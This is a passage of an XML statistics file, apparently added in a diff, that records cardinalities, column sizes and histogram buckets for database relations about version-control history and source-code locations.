+<b> +<a>569</a> +<b>16582</b> +<v>192</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>author</src> +<trg>revision</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7913</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2531</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1388</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>1523</v> +</b> +<b> +<a>6</a> +<b>10</b> +<v>1529</v> +</b> +<b> +<a>10</a> +<b>20</b> +<v>1509</v> +</b> +<b> +<a>20</a> +<b>52</b> +<v>1488</v> +</b> +<b> +<a>52</a> +<b>568</b> +<v>1466</v> +</b> +<b> +<a>569</a> +<b>16582</b> +<v>192</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>author</src> +<trg>revisionDate</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>7996</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2509</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1379</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>1520</v> +</b> +<b> +<a>6</a> +<b>10</b> +<v>1529</v> +</b> +<b> +<a>10</a> +<b>20</b> +<v>1507</v> +</b> +<b> +<a>20</a> +<b>52</b> +<v>1474</v> +</b> +<b> +<a>52</a> +<b>662</b> +<v>1466</v> +</b> +<b> +<a>663</a> +<b>16573</b> +<v>159</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>author</src> +<trg>changeSize</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>19539</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>revisionDate</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>531878</v> +</b> +<b> +<a>2</a> +<b>100</b> +<v>15881</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>revisionDate</src> +<trg>revision</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>531878</v> +</b> +<b> +<a>2</a> +<b>100</b> +<v>15881</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>revisionDate</src> +<trg>author</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>542505</v> +</b> +<b> +<a>2</a> +<b>17</b> +<v>5254</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>revisionDate</src> +<trg>changeSize</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>547759</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>changeSize</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>575525</a> +<b>575526</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>changeSize</src> +<trg>revision</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>575525</a> +<b>575526</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>changeSize</src> +<trg>author</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>19539</a> +<b>19540</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>changeSize</src> +<trg>revisionDate</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>547759</a> +<b>547760</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>svnaffectedfiles</name> +<cardinality>1314068</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>531628</v> +</e> +<e> +<k>file</k> +<v>90924</v> +</e> +<e> +<k>action</k> +<v>1</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>337698</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>77525</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>43024</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>46689</v> +</b> +<b> +<a>7</a> +<b>16635</b> +<v>26692</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>action</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>531628</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>11819</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>18230</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>9501</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>6656</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>5012</v> +</b> +<b> +<a>6</a> +<b>8</b> +<v>7103</v> +</b> +<b> +<a>8</a> +<b>11</b> +<v>6788</v> +</b> +<b> +<a>11</a> +<b>16</b> +<v>6996</v> +</b> +<b> +<a>16</a> +<b>26</b> +<v>7180</v> +</b> +<b> +<a>26</a> +<b>54</b> +<v>6824</v> +</b> +<b> +<a>54</a> +<b>3572</b> +<v>4815</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>action</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>90924</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>action</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>531628</a> +<b>531629</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>action</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>90924</a> +<b>90925</b> +<v>1</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>svnentrymsg</name> +<cardinality>575525</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>575525</v> +</e> +<e> +<k>message</k> +<v>568305</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>message</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>575525</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>message</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>565381</v> +</b> +<b> +<a>2</a> +<b>142</b> +<v>2924</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> +<relation> +<name>svnchurn</name> +<cardinality>46790</cardinality> +<columnsizes> +<e> +<k>commit</k> +<v>22361</v> +</e> +<e> +<k>file</k> +<v>16124</v> +</e> +<e> +<k>addedLines</k> +<v>910</v> +</e> +<e> +<k>deletedLines</k> +<v>787</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>commit</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15208</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3101</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1746</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>1774</v> +</b> +<b> +<a>8</a> +<b>246</b> +<v>532</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>commit</src> +<trg>addedLines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>16074</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3323</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1561</v> +</b> +<b> +<a>4</a> +<b>118</b> +<v>1403</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>commit</src> +<trg>deletedLines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>16799</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3286</v> +</b> +<b> +<a>3</a> +<b>5</b> +<v>1763</v> +</b> +<b> +<a>5</a> +<b>113</b> +<v>513</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>commit</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>8618</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>2956</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1426</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>1364</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>1210</v> +</b> +<b> +<a>12</a> +<b>448</b> +<v>550</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>addedLines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>9240</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3129</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1393</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>1239</v> +</b> +<b> +<a>6</a> +<b>59</b> +<v>1123</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>deletedLines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>9525</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>3192</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>1401</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>1387</v> +</b> +<b> +<a>7</a> +<b>70</b> +<v>619</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>addedLines</src> +<trg>commit</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>446</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>133</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>70</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>68</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>70</v> +</b> +<b> +<a>12</a> +<b>57</b> +<v>69</v> +</b> +<b> +<a>57</a> +<b>6874</b> +<v>54</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>addedLines</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>445</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>132</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>69</v> +</b> +<b> +<a>4</a> +<b>6</b> +<v>68</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>73</v> +</b> +<b> +<a>12</a> +<b>58</b> +<v>69</v> +</b> +<b> +<a>58</a> +<b>6663</b> +<v>54</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>addedLines</src> +<trg>deletedLines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>621</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>96</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>81</v> +</b> +<b> +<a>7</a> +<b>34</b> +<v>70</v> +</b> +<b> +<a>34</a> +<b>727</b> +<v>42</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>deletedLines</src> +<trg>commit</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>439</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>116</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>48</v> +</b> +<b> +<a>4</a> +<b>8</b> +<v>67</v> +</b> +<b> +<a>8</a> +<b>28</b> +<v>60</v> +</b> +<b> +<a>28</a> +<b>6794</b> +<v>57</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>deletedLines</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>437</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>113</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>49</v> +</b> +<b> +<a>4</a> +<b>7</b> +<v>61</v> +</b> +<b> +<a>7</a> +<b>19</b> +<v>60</v> +</b> +<b> +<a>19</a> +<b>770</b> +<v>60</v> +</b> +<b> +<a>985</a> +<b>7318</b> +<v>7</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>deletedLines</src> +<trg>addedLines</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>545</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>72</v> +</b> +<b> +<a>3</a> +<b>7</b> +<v>69</v> +</b> +<b> +<a>7</a> +<b>30</b> +<v>60</v> +</b> +<b> +<a>30</a> +<b>871</b> +<v>41</v> +</b> +</bs> +</hist> +</val> +</dep> +</dependencies> +</relation> + +<relation> +<name>locations_default</name> +<key>id</key> +<cardinality>15664049</cardinality> +<columnsizes> +<e> +<k>id</k> +<v>15664049</v> +</e> +<e> +<k>file</k> +<v>6457</v> +</e> +<e> +<k>beginLine</k> +<v>277405</v> +</e> +<e> +<k>beginColumn</k> +<v>117878</v> +</e> +<e> +<k>endLine</k> +<v>277405</v> +</e> +<e> +<k>endColumn</k> +<v>117868</v> +</e> +</columnsizes> +<dependencies> +<dep> +<src>id</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15664049</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15664049</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15664049</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15664049</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>id</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>15664049</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>674</v> +</b> +<b> +<a>2</a> +<b>28</b> +<v>501</v> +</b> +<b> +<a>28</a> +<b>105</b> +<v>488</v> +</b> +<b> +<a>105</a> +<b>211</b> +<v>488</v> +</b> +<b> +<a>211</a> +<b>335</b> +<v>490</v> +</b> +<b> +<a>335</a> +<b>477</b> +<v>485</v> +</b> +<b> +<a>477</a> +<b>637</b> +<v>488</v> +</b> +<b> +<a>637</a> +<b>856</b> +<v>486</v> +</b> +<b> +<a>856</a> +<b>1141</b> +<v>485</v> +</b> +<b> +<a>1141</a> +<b>1602</b> +<v>485</v> +</b> +<b> +<a>1604</a> +<b>2336</b> +<v>486</v> +</b> +<b> +<a>2336</a> +<b>4472</b> +<v>485</v> +</b> +<b> +<a>4472</a> +<b>2368854</b> +<v>416</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>674</v> +</b> +<b> +<a>2</a> +<b>13</b> +<v>509</v> +</b> +<b> +<a>13</a> +<b>23</b> +<v>513</v> +</b> +<b> +<a>23</a> +<b>35</b> +<v>516</v> +</b> +<b> +<a>35</a> +<b>50</b> +<v>504</v> +</b> +<b> +<a>50</a> +<b>69</b> +<v>506</v> +</b> +<b> +<a>69</a> +<b>92</b> +<v>489</v> +</b> +<b> +<a>92</a> +<b>124</b> +<v>504</v> +</b> +<b> +<a>124</a> +<b>165</b> +<v>487</v> +</b> +<b> +<a>165</a> +<b>230</b> +<v>490</v> +</b> +<b> +<a>230</a> +<b>357</b> +<v>491</v> +</b> +<b> +<a>357</a> +<b>737</b> +<v>485</v> +</b> +<b> +<a>737</a> +<b>277406</b> +<v>289</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>674</v> +</b> +<b> +<a>2</a> +<b>12</b> +<v>491</v> +</b> +<b> +<a>12</a> +<b>32</b> +<v>495</v> +</b> +<b> +<a>32</a> +<b>46</b> +<v>510</v> +</b> +<b> +<a>46</a> +<b>56</b> +<v>498</v> +</b> +<b> +<a>56</a> +<b>62</b> +<v>488</v> +</b> +<b> +<a>62</a> +<b>67</b> +<v>500</v> +</b> +<b> +<a>67</a> +<b>71</b> +<v>477</v> +</b> +<b> +<a>71</a> +<b>75</b> +<v>583</v> +</b> +<b> +<a>75</a> +<b>78</b> +<v>497</v> +</b> +<b> +<a>78</a> +<b>80</b> +<v>403</v> +</b> +<b> +<a>80</a> +<b>82</b> +<v>543</v> +</b> +<b> +<a>82</a> +<b>117856</b> +<v>298</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>674</v> +</b> +<b> +<a>2</a> +<b>13</b> +<v>509</v> +</b> +<b> +<a>13</a> +<b>23</b> +<v>509</v> +</b> +<b> +<a>23</a> +<b>35</b> +<v>520</v> +</b> +<b> +<a>35</a> +<b>50</b> +<v>504</v> +</b> +<b> +<a>50</a> +<b>69</b> +<v>506</v> +</b> +<b> +<a>69</a> +<b>92</b> +<v>489</v> +</b> +<b> +<a>92</a> +<b>124</b> +<v>504</v> +</b> +<b> +<a>124</a> +<b>165</b> +<v>487</v> +</b> +<b> +<a>165</a> +<b>230</b> +<v>490</v> +</b> +<b> +<a>230</a> +<b>357</b> +<v>491</v> +</b> +<b> +<a>357</a> +<b>737</b> +<v>485</v> +</b> +<b> +<a>737</a> +<b>277406</b> +<v>289</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>file</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>682</v> +</b> +<b> +<a>2</a> +<b>18</b> +<v>501</v> +</b> +<b> +<a>18</a> +<b>36</b> +<v>487</v> +</b> +<b> +<a>36</a> +<b>51</b> +<v>513</v> +</b> +<b> +<a>51</a> +<b>61</b> +<v>532</v> +</b> +<b> +<a>61</a> +<b>67</b> +<v>508</v> +</b> +<b> +<a>67</a> +<b>72</b> +<v>568</v> +</b> +<b> +<a>72</a> +<b>75</b> +<v>444</v> +</b> +<b> +<a>75</a> +<b>78</b> +<v>514</v> +</b> +<b> +<a>78</a> +<b>80</b> +<v>484</v> +</b> +<b> +<a>80</a> +<b>81</b> +<v>283</v> +</b> +<b> +<a>81</a> +<b>82</b> +<v>579</v> +</b> +<b> +<a>82</a> +<b>117837</b> +<v>362</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>6</b> +<v>666</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>116499</v> +</b> +<b> +<a>8</a> +<b>14</b> +<v>19181</v> +</b> +<b> +<a>14</a> +<b>15</b> +<v>29298</v> +</b> +<b> +<a>15</a> +<b>19</b> +<v>25329</v> +</b> +<b> +<a>19</a> +<b>24</b> +<v>17273</v> +</b> +<b> +<a>24</a> +<b>29</b> +<v>22410</v> +</b> +<b> +<a>29</a> +<b>56</b> +<v>21150</v> +</b> +<b> +<a>56</a> +<b>242</b> +<v>20830</v> +</b> +<b> +<a>242</a> +<b>134468</b> +<v>4769</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>117975</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>120803</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>21079</v> +</b> +<b> +<a>8</a> +<b>6458</b> +<v>17548</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>667</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>116499</v> +</b> +<b> +<a>6</a> +<b>11</b> +<v>19126</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>32612</v> +</b> +<b> +<a>12</a> +<b>15</b> +<v>18313</v> +</b> +<b> +<a>15</a> +<b>17</b> +<v>18964</v> +</b> +<b> +<a>17</a> +<b>21</b> +<v>21845</v> +</b> +<b> +<a>21</a> +<b>31</b> +<v>21197</v> +</b> +<b> +<a>31</a> +<b>64</b> +<v>20988</v> +</b> +<b> +<a>64</a> +<b>94454</b> +<v>7194</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>238980</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>22312</v> +</b> +<b> +<a>3</a> +<b>890</b> +<v>16113</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginLine</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>667</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>116499</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>20939</v> +</b> +<b> +<a>12</a> +<b>13</b> +<v>28687</v> +</b> +<b> +<a>13</a> +<b>16</b> +<v>19707</v> +</b> +<b> +<a>16</a> +<b>18</b> +<v>20057</v> +</b> +<b> +<a>18</a> +<b>22</b> +<v>21035</v> +</b> +<b> +<a>22</a> +<b>33</b> +<v>21605</v> +</b> +<b> +<a>33</a> +<b>69</b> +<v>21089</v> +</b> +<b> +<a>69</a> +<b>94455</b> +<v>7120</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>5117</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>9246</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>13440</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>15857</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>13813</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>11696</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>8777</v> +</b> +<b> +<a>8</a> +<b>9</b> +<v>6887</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>9723</v> +</b> +<b> +<a>11</a> +<b>14</b> +<v>10392</v> +</b> +<b> +<a>14</a> +<b>20</b> +<v>9364</v> +</b> +<b> +<a>20</a> +<b>2248970</b> +<v>3566</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>68610</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>15842</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>7965</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>9221</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>8014</v> +</b> +<b> +<a>6</a> +<b>6458</b> +<v>8226</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6868</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>15317</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>24725</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>25386</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>10178</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>6239</v> +</b> +<b> +<a>7</a> +<b>9</b> +<v>10825</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>9294</v> +</b> +<b> +<a>11</a> +<b>1255</b> +<v>8841</v> +</b> +<b> +<a>1258</a> +<b>277405</b> +<v>205</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>endLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>6868</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>15317</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>24725</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>25386</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>10175</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>6232</v> +</b> +<b> +<a>7</a> +<b>9</b> +<v>10827</v> +</b> +<b> +<a>9</a> +<b>11</b> +<v>9299</v> +</b> +<b> +<a>11</a> +<b>1227</b> +<v>8842</v> +</b> +<b> +<a>1256</a> +<b>277405</b> +<v>207</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>beginColumn</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>24039</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>21662</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>22809</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>17118</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>12038</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>7768</v> +</b> +<b> +<a>7</a> +<b>10</b> +<v>9297</v> +</b> +<b> +<a>10</a> +<b>1064</b> +<v>3147</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>6</b> +<v>666</v> +</b> +<b> +<a>7</a> +<b>8</b> +<v>116499</v> +</b> +<b> +<a>8</a> +<b>14</b> +<v>18715</v> +</b> +<b> +<a>14</a> +<b>15</b> +<v>30262</v> +</b> +<b> +<a>15</a> +<b>19</b> +<v>24946</v> +</b> +<b> +<a>19</a> +<b>24</b> +<v>17066</v> +</b> +<b> +<a>24</a> +<b>29</b> +<v>22451</v> +</b> +<b> +<a>29</a> +<b>56</b> +<v>21060</v> +</b> +<b> +<a>56</a> +<b>237</b> +<v>20821</v> +</b> +<b> +<a>237</a> +<b>134470</b> +<v>4919</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>file</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>117975</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>120803</v> +</b> +<b> +<a>3</a> +<b>8</b> +<v>21076</v> +</b> +<b> +<a>8</a> +<b>6458</b> +<v>17551</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>beginLine</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>243883</v> +</b> +<b> +<a>2</a> +<b>4</b> +<v>23431</v> +</b> +<b> +<a>4</a> +<b>71</b> +<v>10091</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>beginColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>667</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>116499</v> +</b> +<b> +<a>6</a> +<b>11</b> +<v>19057</v> +</b> +<b> +<a>11</a> +<b>12</b> +<v>32046</v> +</b> +<b> +<a>12</a> +<b>15</b> +<v>18779</v> +</b> +<b> +<a>15</a> +<b>17</b> +<v>18710</v> +</b> +<b> +<a>17</a> +<b>21</b> +<v>21785</v> +</b> +<b> +<a>21</a> +<b>31</b> +<v>21103</v> +</b> +<b> +<a>31</a> +<b>63</b> +<v>20930</v> +</b> +<b> +<a>63</a> +<b>94454</b> +<v>7829</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endLine</src> +<trg>endColumn</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>5</b> +<v>667</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>116499</v> +</b> +<b> +<a>6</a> +<b>12</b> +<v>21177</v> +</b> +<b> +<a>12</a> +<b>13</b> +<v>28718</v> +</b> +<b> +<a>13</a> +<b>16</b> +<v>19585</v> +</b> +<b> +<a>16</a> +<b>18</b> +<v>21210</v> +</b> +<b> +<a>18</a> +<b>23</b> +<v>23344</v> +</b> +<b> +<a>23</a> +<b>35</b> +<v>21013</v> +</b> +<b> +<a>35</a> +<b>80</b> +<v>20938</v> +</b> +<b> +<a>80</a> +<b>94454</b> +<v>4254</v> +</b> +</bs> +</hist> +</val> +</dep> +<dep> +<src>endColumn</src> +<trg>id</trg> +<val> +<hist> +<budget>12</budget> +<bs> +<b> +<a>1</a> +<b>2</b> +<v>4439</v> +</b> +<b> +<a>2</a> +<b>3</b> +<v>8489</v> +</b> +<b> +<a>3</a> +<b>4</b> +<v>12884</v> +</b> +<b> +<a>4</a> +<b>5</b> +<v>16048</v> +</b> +<b> +<a>5</a> +<b>6</b> +<v>15554</v> +</b> +<b> +<a>6</a> +<b>7</b> +<v>12546</v> +</b> +<b> 